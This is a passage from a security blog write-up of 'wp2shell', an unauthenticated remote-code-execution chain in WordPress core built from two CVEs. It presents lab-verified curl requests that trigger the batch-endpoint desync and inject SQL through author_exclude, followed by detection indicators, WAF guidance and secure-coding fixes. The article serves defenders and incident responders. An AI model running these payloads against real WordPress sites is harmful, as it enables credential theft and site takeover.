This observation has direct defensive weight: a WAF rule written only against /wp-json/batch/v1 would not have protected this installation. Both patterns must be covered (see Section 15).

Step 4 — the batch endpoint is reachable unauthenticated:

curl -s -o /dev/null -w 'HTTP %{http_code}\n' -X POST "$T/?rest_route=/batch/v1" \
  -H 'Content-Type: application/json' -d '{"requests":[]}'
HTTP 207

Step 5 — baseline: validation behaves correctly when the endpoint is called directly:

curl -s -G "$T/" --data-urlencode 'rest_route=/wp/v2/posts' \
  --data-urlencode 'author_exclude=0) OR 1=1 -- ' | jq
{
  "code": "rest_invalid_param",
  "message": "Invalid parameter(s): author_exclude",
  "data": {
    "status": 400,
    "params": { "author_exclude": "author_exclude[0] is not of type integer." }
  }
}

Two facts are established here. The schema validation is working: the payload is rejected before it can reach WP_Query. And the error text author_exclude[0] shows WordPress coercing the scalar string into a single-element array before type-checking it — the same (array) semantics that Section 9.2 identifies as deceptive, visible here in the validator’s own message.

The clean collection baseline for later comparison:

curl -s -o /dev/null -D- "$T/?rest_route=/wp/v2/posts" | grep -i 'x-wp-total'
X-WP-Total: 4
X-WP-TotalPages: 1

Step 6 — confirming the array desynchronisation:

Three requests, differing only in the presence of the malformed primer and the number of trailing requests:

# 6a — no primer, correct handler
curl -s -X POST "$T/?rest_route=/batch/v1" -H 'Content-Type: application/json' \
 -d '{"requests":[{"method":"DELETE","path":"/wp/v2/posts/1"}]}' | jq -r '.responses[0].body.code'

# 6b — primer + 1 request; $matches[1] does not exist
curl -s -X POST "$T/?rest_route=/batch/v1" -H 'Content-Type: application/json' \
 -d '{"requests":[{"method":"POST","path":"http://:"},{"method":"DELETE","path":"/wp/v2/posts/1"}]}' \
 | jq -r '.responses[1].body.code'

# 6c — primer + 2 requests; $matches[1] holds the neighbour's handler
curl -s -X POST "$T/?rest_route=/batch/v1" -H 'Content-Type: application/json' \
 -d '{"requests":[{"method":"POST","path":"http://:"},{"method":"DELETE","path":"/wp/v2/posts/1"},{"method":"POST","path":"/wp/v2/posts"}]}' \
 | jq -r '.responses[1].body.code'
rest_post_invalid_id
rest_invalid_handler
rest_post_exists
TestState of $matches[1]Returned codeWhich handler responded
6acorrect handler, no shiftrest_post_invalid_id (404)delete_item
6babsent — array one element shortrest_invalid_handler (500)none
6cneighbour’s handlerrest_post_exists (400)create_item

rest_post_exists is the decisive result. That error is raised inside WP_REST_Posts_Controller::create_item_permissions_check() when an id is present on a create call. The id=1 parameter belonged to the DELETE /wp/v2/posts/1 request, yet it was evaluated by the permission callback of POST /wp/v2/posts. The same request body, dispatched to two different handlers, producing two different error codes: this is the claim of Section 8 made directly observable, and it is reached without modifying any state on the target, since both paths terminate in an authorisation or validation failure.

Step 7 — triggering the SQL injection through a recursive batch call:

The outer layer suppresses method validation, the inner layer suppresses author_exclude validation. A direct, single-layer attempt is rejected first:

curl -s -X POST "$T/?rest_route=/batch/v1" -H 'Content-Type: application/json' -d '{
  "requests": [
    { "method": "POST", "path": "http://:" },
    { "method": "DELETE", "path": "/wp/v2/posts/1", "body": { "author_exclude": "0) OR 1=1 -- " } },
    { "method": "GET", "path": "/wp/v2/posts" }
  ]
}' | jq
{
  "code": "rest_invalid_param",
  "message": "Invalid parameter(s): requests",
  "data": {
    "status": 400,
    "params": { "requests": "requests[2][method] is not one of POST, PUT, PATCH, and DELETE." }
  }
}

Nesting the batch call inside itself removes that restriction. The control run uses a payload that evaluates false:

curl -s -X POST "$T/?rest_route=/batch/v1" -H 'Content-Type: application/json' -d '{
  "requests": [
    { "method": "POST", "path": "http://:" },
    { "method": "POST", "path": "/wp/v2/posts", "body": { "requests": [
        { "method": "GET", "path": "http://:" },
        { "method": "DELETE", "path": "/wp/v2/posts/1", "body": { "author_exclude": "0) OR 1=2 -- " } },
        { "method": "GET", "path": "/wp/v2/posts" }
    ] } },
    { "method": "POST", "path": "/batch/v1" }
  ]
}' | jq '.responses[1].body.responses[1] as $r |
   {total: $r.headers["X-WP-Total"], types: ([$r.body[].type]|unique)}'
{ "total": 10, "types": [ "post" ] }

Re-running the identical request with 1=1 in place of 1=2:

{ "total": 34, "types": [ "wp_navigation" ] }

The only difference between the two runs is the boolean condition inside the payload. The discriminator is not an empty-versus-populated response but the row population itself. /wp/v2/posts is architecturally incapable of returning a wp_navigation object; its appearance shows the WHERE clause was not filtered differently but neutralised entirely, exactly as traced in Section 9.3. The injection is confirmed, unauthenticated, against a default installation.

Technical nuance: the X-WP-Total values under injection are not directly comparable with the clean baseline of 4 recorded in Step 5. The trailing -- comments out the remainder of the generated statement, which affects how the total-rows figure is computed. The 10 → 34 comparison is therefore meaningful only between the two injected runs, which differ solely in the boolean condition; this explanation is inferred from the shape of the generated query rather than stated in the advisory. The post versus wp_navigation distinction carries the proof regardless of how the counter is computed.

Step 8 — data extraction with the boolean oracle:

The progressive output (a, ad, adm, admi, admin, admin:, admin:$, …) shows the binary-search strategy described in Section 9.3 resolving roughly one character per seven requests.

The administrator username and password hash are retrieved with no credentials of any kind. This is the point at which the finding is already a full confidentiality compromise, before any of the escalation work in Section 10.

Step 9 — full chain to remote code execution:

Every stage traced in Section 10.3 is visible in this output in order: the three seeded oembed_cache rows recovered as IDs 100, 101 and 102 correspond to the O, C and D objects; the changeset forgery produces the administrator account; and the resulting session is used to upload a plugin containing a webshell. The uid=33(www-data) line is the independent confirmation of impact — command execution as the web server user, reached from an unauthenticated starting position against a default installation.
Operating logic of the automation tooling

Operating logic of the automation tooling
  • Vulnerability confirmation: a minimal batch probe is sent; an HTTP 207 response and the shape of the sub-responses indicate the endpoint is reachable and the desync is possible.
  • Data extraction: the recursive batch payload establishes the blind SQLi; for each character the ASCII range is narrowed by binary search — roughly seven requests per character. The boolean oracle reads whether the response is populated or empty.
  • State manipulation: the first request seeds three oembed_cache rows; the second writes six forged WP_Post rows into the in-memory cache via UNION ALL SELECT (see Section 10.3 for the roles).
  • Privilege escalation: the cycle detection → changeset application → wp_set_current_user(1) → parse_request replay sequence is triggered; the user-creation request that failed on the first pass completes on the second.
  • Code execution: the forged account is used to sign in, a ZIP plugin is uploaded, and a request to the contained PHP file executes commands.
  • Cleanup: the created account, the plugin directory and the forged wp_posts rows are reverted.

Scope note: all observations in this section were made against the vulnerable build only. A comparative regression test against a patched installation was deliberately left outside the scope of this work; what the patch changes in code is described in Section 15 on the basis of the patch diff rather than lab observation, and is labelled as such. The time-based oracle variant referenced in Section 9.3 was likewise not exercised here.


12. Impact Analysis

DimensionImpactJustification
ConfidentialityTotalThe injection can return any row shaped like wp_posts, so the entire database is readable: usernames, e-mail addresses, user_pass hashes, and API keys or integration tokens held in wp_options. Section 11.2, Step 8 demonstrates administrator credential retrieval with no authentication
IntegrityTotalOnce the forged administrator account exists, content, theme files, plugins and site settings can all be modified without limit; the uploaded webshell adds filesystem-level write access
AvailabilityTotalWith code execution established, service disruption, data destruction or ransomware deployment follow directly. Separately, the blind SQLi’s roughly seven requests per extracted character imposes a measurable load during the extraction phase alone

Organisational risk: the access obtained is at web-server-user level (uid=33(www-data) in the lab run), which does not by itself grant a domain account. The immediate follow-on targets are the database credentials in wp-config.php, the payment-provider and mail-service keys stored in wp_options, and any neighbouring sites in a shared hosting environment. On installations running WooCommerce or membership plugins, customer names, addresses and order histories become readable; under Türkiye’s KVKK this obliges the data controller to notify the Personal Data Protection Board within 72 hours, and GDPR Article 33 produces the same result for sites operating in the EU. Where card payment flows traverse the site, PCI-DSS scope is also engaged. The most consequential point for continuity is that the administrator account created by an attacker survives patching: the update closes the delivery mechanism, it does not remove existing persistence.

Chaining potential: Link 2 on its own yields an unauthenticated read primitive — valuable, but the path to RCE would depend on cracking a password hash or on the database user holding file-write privileges, and neither condition is typically met on modern installations. Link 1 makes the read primitive reachable; Link 3 converts it into deterministic privilege escalation.

ScenarioAdditional requirementFinal impact
SQL injection alone (6.8.x)Crackable password hash or FILE privilege on the database userProbabilistic — limited to data disclosure if the hash resists cracking
SQLi + batch desyncNoneUnauthenticated full database read
SQLi + batch desync + changeset gadgetAbsence of a persistent external object cacheDeterministic — administrator account creation and RCE

The table makes concrete why CVSS scores cannot be added: a 5.9 record combined with a 9.8 record is not 15.7 but a single 9.8 — and most real incident responses originate from exactly this kind of complementary pair of “medium” findings rather than from one critical finding in isolation.


13. Dead Ends

Approach / payloadResult
Sending the author_exclude payload directly to GET /wp/v2/postsFailed — the parameter schema declares array of integer; validation rejects the string with rest_invalid_param (Section 11.2, Step 5)
Establishing the desync with a single-layer batch request containing a GET sub-requestFailed — requests[2][method] is not one of POST, PUT, PATCH, and DELETE. The batch API does not accept GET (Section 11.2, Step 7)
Primer plus a single following request, hoping to reach a handlerFailed usefully — rest_invalid_handler (500); $matches[1] does not exist. Not exploitable, but it is the cleanest observable signature of the index shift
Cracking the retrieved user_pass hashes offlineUnreliable — WordPress uses $P$ (phpass) hashes; a strong password does not yield results in any reasonable time
Writing a file into the web root via SELECT ... INTO OUTFILEFailed — on modern installations the database user lacks FILE privilege and secure_file_priv forbids it
Attempting a direct INSERT into wp_users through the injectionFailed — the injection point sits in the WHERE clause of a SELECT; stacked queries are not supported
Recursive batch call (/batch/v1 invoked from within /batch/v1)Works — method validation is suppressed at the outer layer and parameter validation at the inner layer

The observation that turns the dead end into an entry is that the method restriction is itself implemented as parameter validation, so the same flaw can be applied twice, nested, within a single request. Alternative sinks were also considered during assessment: any collection route that maps author_exclude into WP_Query produces the same result, which is why filtering only the /wp/v2/posts path at the WAF is insufficient.


14. Detection and Log Analysis

Viewed from the network layer, all of this traffic consists of ordinary HTTPS requests to the site’s own REST API; nothing about the transport looks abnormal. What distinguishes the attack is the content, volume and shape of the requests.

Network and application layer:

  • Anomalous request volume from a single source. Because the blind SQLi collects data character by character, a single IP address generates hundreds to thousands of POST requests to /wp-json/batch/v1 or ?rest_route=/batch/v1 in a short window. At roughly seven requests per character — the rate visible in the extraction output in Section 11.2, Step 8 — retrieving one administrator hash alone accounts for several hundred requests.
  awk '$7 ~ /batch\/v1/ {print $1}' /var/log/apache2/access.log \
    | sort | uniq -c | sort -rn | head -20
  • Unparseable paths inside the batch body. The desync primer requires a deliberately malformed path expression such as "path": "http://:" or "path": "///". This pattern does not occur in legitimate batch traffic and is a high-signal indicator on its own. It is also directly visible in the response, which returns parse_path_failed for that sub-request.
  • A parameter appearing in a sub-request whose route does not declare it. author_exclude appearing in sub-requests bound for /wp/v2/users, /wp/v2/widgets or DELETE /wp/v2/posts/{id} is the direct signature of a validation bypass attempt.
  • A nested requests array. A second requests key inside a batch body — that is, a recursive batch call — is effectively unseen in legitimate use and was required for every successful injection in this analysis.
  • rest_invalid_handler responses. A 500 carrying this code indicates the dispatch loop reaching past the end of $matches. On an otherwise healthy installation it should never appear, which makes it a useful low-noise trigger.
  • SLEEP, BENCHMARK or UNION in sub-request bodies, together with long response times. Where a time-based oracle is used, the response-time distribution for a single endpoint develops a pronounced tail.

Host and database layer (SIEM / audit):

  • Administrator creation with no preceding successful login. A new row in wp_users and a wp_capabilities value of administrator in wp_usermeta, with no wp_login action recorded in the same window, should trigger incident response on its own.
  • Unexpected customize_changeset and oembed_cache rows. Records of these types appearing in wp_posts outside ordinary editorial activity — particularly the combination of post_status = future with a post_date in the past — is specific to this chain.
  • Short-lived plugin directories. Directories that appear under wp-content/plugins/ and are removed minutes later are webshell residue. In the lab run the directory and file followed the pattern wp2shell_<8 hex chars>/wp2shell_<8 hex chars>.php; the hex component is randomised per run, so detection should key on the lifecycle rather than the literal name. File integrity monitoring should cover this directory.
  • Unexpected process creation from www-data. sh, curl, wget or python spawned from PHP-FPM child processes is the host-level counterpart of command execution through a webshell.

Indicators of compromise:

TypeValueNotes
URI pattern/wp-json/batch/v1, ?rest_route=/batch/v1Both patterns must be covered; the lab target was reachable only through the second form
Body pattern"path": "http://:" or any unparseable pathDesync primer
Body patternauthor_exclude in a sub-request plus a nested requests arrayValidation bypass signature
Response coderest_invalid_handler (HTTP 500)Dispatch loop overrunning $matches
DB rowpost_type = 'customize_changeset' with post_status = 'future' and a past post_dateChangeset gadget
Filesystemwp-content/plugins/<name>_<hex>/ created and deleted within minutesWebshell residue
AccountA new administrator with no corresponding creation recordPersistence; survives patching

Limits of detection: the initial reconnaissance request — a single batch probe — is indistinguishable from a legitimate batch call and only becomes detectable once volume builds, which means a low-and-slow extraction can evade volume-based rules. As of 20 July 2026 no official IoC list had been published, so detection must rest on behavioural hunting rather than signatures. In environments with legitimate heavy users of the batch endpoint — mobile applications, headless front ends, bulk content synchronisation tools — volume-based rules will produce a high false positive rate; those environments should prefer rules keyed on body shape, namely the malformed path and the nested requests array.


15. Remediation and Secure Coding Lessons

Permanent fix:

  • Upgrade to WordPress 6.9.5, 7.0.2 or 6.8.6. The patch closes both points at once: the array indexing fault in the batch handler and the missing sanitisation of author__not_in on the scalar branch. Released 17 July 2026.
  • Verify that the automatic update actually applied. WordPress.org enabled forced automatic updates for affected versions, but that mechanism fails quietly on hardened, managed and air-gapped installations. Measure the version rather than assuming it.
  • Treat every site that ran an affected version before patching as potentially compromised. The patch closes the delivery mechanism; it does not remove an administrator account already created or a webshell already uploaded. Review the user list and the contents of wp-content, and rotate every secret — database password, API keys, authentication salts.

What the patch does not cover: the 6.9.5 / 7.0.2 patch does not change the cache and changeset behaviour of Link 3 — an inference drawn from the patch diff, not verified comparatively in the lab. What it closes is the delivery mechanism that lets forged data enter the in-memory cache: the batch desync and author__not_in sanitisation. This illustrates the central principle of chain security — breaking any single link renders the whole path inoperable. The shadow side of the same principle also applies: because the third link’s behaviour remains in the codebase, a future primitive that reaches it could reconstitute the chain.

Compensating controls (where patching is not immediately possible):

  • Block /wp-json/batch/v1 and ?rest_route=/batch/v1 at the WAF. Ensure both patterns are covered; the lab target in Section 11.2 was reachable only through the second form, so a rule written against the first alone would have provided no protection. Does not cover: integrations that legitimately use the batch endpoint will break, and the standalone exploitation of CVE-2026-60137 on 6.8.x is unaffected.
  • Restrict unauthenticated access to the REST API. Does not cover: it is not applicable to headless installations that depend on an open API, and an authenticated low-privileged user can still run the chain.
  • Alert on and block malformed batch paths (WAF rule or fail2ban). Block the source when an unparseable path expression is seen in a batch body. Does not cover: it is ineffective against distributed sources keeping request volume low.
  • Restrict plugin installation and activation for administrator accounts (DISALLOW_FILE_MODS). Does not cover: it severs only the last link — the entire database remains readable and the forged administrator account is still created.
  • Deploy a persistent external object cache (Redis / Memcached). The RCE stage assumes one is absent. Does not cover: this is a side effect never designed as a security control and it does not impede the SQL injection at all; it may be counted as a mitigating factor, not as a control.

Defence matrix:

ControlLink it breaks
Upgrade to 6.9.5 / 7.0.2 / 6.8.6Links 1 and 2 — the entire delivery mechanism
Blocking the batch endpoint at the WAF (both URL forms)Link 1 — reaching the desync
Restricting anonymous REST API accessLink 1 — reaching the endpoint
Malformed path detection and source blockingLink 1 — the desync primer
DISALLOW_FILE_MODSPost-Link 4 — code execution from the admin panel
Persistent object cacheLink 3 — converting cache poisoning into RCE (partial)
Alerting on new administrator creationDetection — the observable output of Link 4

15.1 Secure Coding Lessons

1) Replace parallel arrays with a single object that carries the state:

// Vulnerable pattern — two arrays, two write points, one continue
if ( is_wp_error( $req ) ) {
    $validation[] = $req;
    continue;              // $matches falls behind
}
$matches[] = $handler;

// Safe pattern — one object per request; the index relationship is preserved structurally
$processed[] = array(
    'request'    => $req,
    'handler'    => is_wp_error( $req ) ? null : $handler,
    'validation' => is_wp_error( $req ) ? $req : $result,
);

In the second pattern an index shift stops being a state the language permits: all information about a request is appended in a single write, so the arrays stay aligned regardless of which branch is taken. Where parallel arrays cannot be avoided, the error branch must still append a placeholder ($matches[] = null;).

2) Reject by default instead of sanitising conditionally:

// Vulnerable pattern — sanitises only when the expected type arrives
if ( is_array( $value ) ) {
    return array_map( 'absint', $value );
}
return $value;   // scalar branch: nothing happens

// Safe pattern — an unexpected type is reduced to a safe default
if ( ! is_array( $value ) ) {
    $value = array( $value );     // or, more strictly: return array();
}
return array_map( 'absint', $value );

The change is sufficient because absint() now lies on every path; whatever the input type, the value reaching SQL is an array of integers. The general rule: if an if block performs security-relevant sanitisation, its else branch must either reject or fall back to a safe default — never “do nothing”.

3) Always use parameterised queries at the sink:

// Vulnerable pattern — string concatenation
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";

// Safe pattern — generate placeholders and bind with prepare()
$ids          = array_map( 'absint', (array) $author__not_in );
$placeholders = implode( ',', array_fill( 0, count( $ids ), '%d' ) );
$where       .= $wpdb->prepare(
    " AND {$wpdb->posts}.post_author NOT IN ($placeholders) ",
    $ids
);

IN / NOT IN lists are where prepared statements are most often skipped, because the element count is dynamic. The correct answer is not to fall back to concatenation but to generate the placeholder list from the element count.

4) Do not read authority from the data itself:

When performing a critical state transition — publish, apply, approve — the check must consult the live privileges of the session triggering the operation, not a user_id field carried inside the object. That an object exists in the database is not evidence that whoever created it was authorised. Where actor identity must travel with the data, it should be signed server-side and verified on every use.

5) Treat the cache as a copy of the source, not as the authority:

Where the in-memory representation and the persistent record disagree on security-relevant fields — type, status, ownership — the persistent record should win. A design that does the opposite for performance reasons must separately prove that every write path into the cache is trustworthy, and an SQL injection is precisely the event that invalidates that proof.


16. Real-World Context

  • Drupal Core (CVE-2026-9082): an unauthenticated SQL injection published by the same research team. It illustrates how a single query-builder fault in a CMS core affects the entire installed base independently of the plugin ecosystem.
  • cPanel (CVE-2026-29205): unauthenticated file read as root. Like wp2shell in a shared hosting scenario, a flaw at the hosting layer covers every site running on top of it simultaneously.
  • WordPress File Manager plugin (CVE-2020-25213): a plugin vulnerability that entered the CISA KEV catalogue and was used in ransomware campaigns. The contrast with wp2shell is that it lived in a plugin rather than in core — all four prior WordPress entries in KEV are plugin-based, which is a measure of how rare pre-authentication RCE in WordPress core is.
  • The HTTP request smuggling family (CWE-444): shares the structural fault of Link 1 — the boundary at which one component validates a request failing to coincide with the boundary at which another component executes it. The class name and the protocol differ; the assumption that collapses is the same.

The class-level lesson is that every architecture separating validation from execution creates a pairing contract between the two, and that contract is an attack surface for as long as it is not explicitly represented in code. Batch APIs, GraphQL batched queries, HTTP pipelining, message queues and bulk import workflows all carry the same shape. The primitive such a fault provides — the ability to selectively disable validation — is not a vulnerability in itself; it is a multiplier that converts every sink in the codebase into a potential vulnerability. The apparent attack surface may look like a single endpoint, but the real surface is the sum of every route reachable through it.


17. Conclusion

wp2shell is the result not of one incorrect line but of three complementary assumptions failing at once: the batch handler’s trust in array alignment, WP_Query‘s trust in upper-layer validation, and the object cache’s trust in database reality. The root cause lies in the composition of design decisions none of which look critical in isolation — and, unlike a bare SQL injection, the outcome of the chain is deterministic rather than probabilistic. For defenders the substantive lesson is that a process which scores and prioritises findings individually is structurally incapable of seeing chains of this kind.

  • A primitive is more dangerous than a vulnerability. Link 1 discloses no data on its own; all it does is make validation optional. That capability changes the risk profile of every sink in the codebase simultaneously, so its impact must be measured not against one endpoint but against every route reachable through the batch handler.
  • CVSS scores do not add up. A patch schedule that files a 5.9 record under “medium priority” cannot see that the record is the second link of a 9.8 chain. Prioritisation should follow which primitive each finding hands to the next, not the individual scores.
  • Breaking the chain is enough, but it does not remove persistence. The patch never touches the code of the third link; it renders the path inoperable by closing the delivery mechanism. By the same logic, the patch does not remove an administrator account already created or a webshell already uploaded — updating is not a substitute for incident response.
  • Type checking is a security boundary, not a convenience. Every helper function written on the assumption that “the upper layer already validated this” has accepted the possibility that the upper layer will one day be bypassed. The redundant check at the sink is not superfluous; it is where the chain breaks.
  • Go and check now: measure the version of your WordPress installations rather than reading the banner, and review the user list on every site that ran an affected build. Most organisations cannot quickly state how many WordPress instances they run; campaign microsites, old landing pages, documentation portals and domains inherited through acquisitions typically sit outside the patching process. If you find an administrator account with no corresponding creation record, applying the patch did not invalidate it.

18. References

Official records

  • NVD — CVE-2026-63030: https://nvd.nist.gov/vuln/detail/CVE-2026-63030
  • NVD — CVE-2026-60137: https://nvd.nist.gov/vuln/detail/CVE-2026-60137
  • CWE-436 (Interpretation Conflict): https://cwe.mitre.org/data/definitions/436.html
  • CWE-89 (SQL Injection): https://cwe.mitre.org/data/definitions/89.html

Vendor

  • GitHub Security Advisory GHSA-ff9f-jf42-662q (CVE-2026-63030): https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q
  • GitHub Security Advisory GHSA-fpp7-x2x2-2mjf (CVE-2026-60137): https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf
  • WordPress 7.0.2 security release: https://wordpress.org/news/2026/07/wordpress-7-0-2-release/

Public exploit status

  • Multiple proof-of-concept exploits appeared on GitHub within hours of the 17 July 2026 disclosure; in-the-wild exploitation was confirmed by several security vendors between 18 and 20 July 2026. Scope: full chain, unauthenticated RCE.
  • sergiointel — wp2shell PoC: https://github.com/sergiointel/wp2shell-poc — published July 2026. A modified build of this tool was used for the full-chain verification in Section 11.2; its operating logic is summarised there and no weaponised source is reproduced in this article.
  • Searchlight Cyber official checker (non-destructive): https://wp2shell.com/

Technical and analytical

  • Searchlight Cyber — initial disclosure: https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
  • Searchlight Cyber — Adam Kues, full technical breakdown of the chain (primary source for the code excerpts and gadget ordering used in this article): https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/
  • Tenable Research — wp2shell FAQ, version matrix and exploitation status: https://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution
  • Escape — CVSS vectors, detection methodology and the time-based oracle observation: https://escape.tech/blog/wp2shell-cve-2026-63030-cve-2026-60137/
  • Cloudflare — WAF rule deployment and the persistent object cache precondition: https://blog.cloudflare.com/wordpress-vulnerabilities/

Lab environment

  • TryHackMe — WordPress: CVE-2026-63030 room, used as the isolated verification environment for Section 11: https://tryhackme.com/room/wordpresscve202663030 — recommended for readers who wish to reproduce this analysis in an authorised setting.

Appendix A — Glossary

TermDefinition
CVE-2026-63030Route confusion in the WordPress REST API batch endpoint, caused by the index alignment of the $validation and $matches arrays breaking inside serve_batch_request_v1(). CWE-436.
CVE-2026-60137Blind SQL injection arising from the author__not_in query variable in WP_Query not being sanitised on scalar input. CWE-89.
wp2shellCodename for the unauthenticated RCE chain formed by the two CVEs above together with the cache and changeset gadgets.
serve_batch_request_v1()The function in class-wp-rest-server.php that processes batch requests in two loops (validation and dispatch); the location of Link 1.
author_exclude / author__not_inThe former is the public REST API parameter (schema array of integer), the latter its counterpart inside WP_Query. The mapping occurs after validation; Link 1 subverts that ordering.
Batch endpoint/wp-json/batch/v1 (or ?rest_route=/batch/v1) — packs multiple sub-requests into one HTTP request. Enabled by default since WordPress 5.6.
Route confusionThe condition in which a request is validated under one route’s rules and executed by another route’s handler.
Parallel array desyncTwo arrays that should correspond at the same index losing their alignment because of a branch-specific missing write.
Boolean oracleA data extraction technique that uses the application’s populated-versus-empty response as a yes/no channel.
Time-based oracleThe variant that uses response latency as the yes/no channel, via delay-producing expressions such as SLEEP().
Object hydration / cache poisoningWriting rows returned by UNION SELECT into the application’s in-memory WP_Post cache as though they were genuine records.
customize_changesetThe custom post type that stores theme and site setting drafts in wp_posts. When applied, wp_set_current_user() is called with the user_id from its JSON.
oembed_cacheThe post type holding the database-level cache of embedded content. In the chain it is used to give forged objects a persistent row.
parse_requestA WordPress action hook fired at the very start of the request lifecycle. Invoking it via a forged parse/request status-type pair replays the entire request under the assumed administrator identity.
rest_invalid_handlerThe error returned when the dispatch loop reads past the end of $matches. The cleanest observable signature of the index shift, and a useful detection trigger.
DISALLOW_FILE_MODSA wp-config.php constant that, when defined, disables plugin and theme installation and editing from the admin panel.

About the author

Haluk Baran Akbulut

Haluk Baran Akbulut

Administrator

Table of Contents

Contents1. Executive Summary2. Legal Notice and Scope3. Terminology4. Vulnerability Identification5. Background6. Attack Surface and Preconditions7. Attack Flow8. Link 1 — Batch Route Desynchronisation (CVE-2026-63030)8.1 Principle Violated8.2 The Vulnerable Code8.3 Step-by-Step Trace with Concrete Values8.4 Analogy8.5 Architectural Root Cause9. Link 2 — WP_Query author__not_in SQL Injection (CVE-2026-60137)9.1 Principle Violated9.2 The Vulnerable Code9.3 Step-by-Step Trace with Concrete Values9.4 Analogy9.5 Architectural Root Cause10. Link 3 — Object Cache Poisoning and Changeset Privilege Escalation10.1 Principle Violated10.2 The Vulnerable Code10.3 Step-by-Step Trace with Concrete Values10.4 Analogy10.5 Architectural Root Cause11. Hands-On Demonstration11.1 Lab Environment11.2 Step-by-Step Verification12. Impact Analysis13. Dead Ends14. Detection and Log Analysis15. Remediation and Secure Coding Lessons15.1 Secure Coding Lessons16. Real-World Context17. Conclusion18. ReferencesAppendix A — Glossary

Subscribe to the newsletter

New cybersecurity articles, research and hardware-lab notes — straight to your inbox.

Related articles

Grand Larceny Auto — Client-Side Trust Bypass to Hardcoded Secret Disclosure
July 26, 2026

Grand Larceny Auto — Client-Side Trust Bypass to Hardcoded Secret Disclosure

Fools Mate: Revenge — Prototype Pollution to Global Authorization Bypass
July 12, 2026

Fools Mate: Revenge — Prototype Pollution to Global Authorization Bypass

Technically Identical, Legally Opposite: The Fine Line Between Penetration Testing and Cybercrime
February 17, 2026

Technically Identical, Legally Opposite: The Fine Line Between Penetration Testing and Cybercrime

All articles

Let's assess your organization's security posture together.

Start with a no-commitment consultation; we listen to your needs and build a roadmap tailored to you.

Request a consultation
CyberMap Group

A results-driven cybersecurity ecosystem with an adversary mindset: offensive testing, compliance consultancy, corporate training and R&D.

  • info@cybermapgroup.com
  • YDA Center — Kızılırmak Mah. Dumlupınar Bul. No: 9A, Çankaya / Ankara

Services

  • Penetration Testing
  • Hardware Threat Simulation
  • Security & Compliance
  • SPK VII-128.10 Compliance
  • Corporate Training

Products

  • ARQ
  • Corvox
  • Monorisk

Company

  • About
  • Team
  • Hardware Lab
  • Brand Assets
  • CyberMap Blog
  • Contact

Legal

  • Terms of Service
  • Privacy Policy
  • Cookie Policy
  • Disclaimer

© 2026 CyberMap Group

Developed by CyberMap Group.